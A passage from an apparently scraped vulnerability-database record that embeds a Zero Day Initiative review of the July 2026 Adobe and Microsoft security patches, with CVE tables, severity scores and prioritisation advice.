Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:21.083866Z"}, {"uuid": "4537dc8f-72f9-443b-a667-870c2e1a0038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54995", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution 